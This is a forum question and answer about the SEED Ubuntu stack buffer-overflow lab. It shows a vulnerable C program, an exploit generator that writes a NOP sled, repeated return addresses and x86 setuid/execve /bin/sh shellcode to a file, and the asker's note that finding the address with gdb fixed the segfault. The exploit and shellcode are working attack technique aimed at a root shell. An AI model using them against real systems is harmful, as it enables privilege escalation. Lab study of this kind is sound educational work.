BufferOverflow attack Segment Fault

Question

I'm trying to exploit simple stack overflow vulnerability. But I have trouble writing the exploit.c file. After getting the stack pointer using __asm__("movl %esp, %eax"), I put the address and shellcode in the buffer.

This is stack.c file:

int bof(char *str)

char buffer[24];

/* The following statement has a buffer overflow problem */ 
strcpy(buffer, str);

return 1;

int main(int argc, char **argv)

char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;

Below is my current exploit.c file. I have two VM with the same setup using SEED Ubuntu. I run the same file on both machines. The first give me regular shell, another one returns "seg fault". But the root shell is what I want.

char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */ 
char *ptr = buffer;
long *addr_ptr, addr;
int offset = 0x80;
int i;

addr = get_sp_addr() + offset;
addr_ptr = (long*)(ptr);

//printf("addr: %x\n", addr);

for (i = 0; i < 10; i++) {
  *(addr_ptr++) = addr;
}

for (i = 0; i < strlen(shellcode); i++) {
  buffer[517 - (sizeof(shellcode) + 1) + i] = shellcode[i];  
} 

// Null terminate the shellcode 
buffer[sizeof(buffer)-1] = '\0';

// printf("%s\n", buffer);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);

Shellcode defined in the exploit.c file is:

char shellcode[]=
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
"\x31\xc0"             /* xorl    %eax,%eax              */
"\x50"                 /* pushl   %eax                   */
"\x68""//sh"           /* pushl   $0x68732f2f            */
"\x68""/bin"           /* pushl   $0x6e69622f            */
"\x89\xe3"             /* movl    %esp,%ebx              */
"\x50"                 /* pushl   %eax                   */
"\x53"                 /* pushl   %ebx                   */
"\x89\xe1"             /* movl    %esp,%ecx              */
"\x99"                 /* cdq                            */
"\xb0\x0b"             /* movb    $0x0b,%al              */
"\xcd\x80"             /* int     $0x80                  */
;

Answer 1

I got it. Reset the machine and rewrote the code (find the address through gdb instead). It works now. Thanks everyone.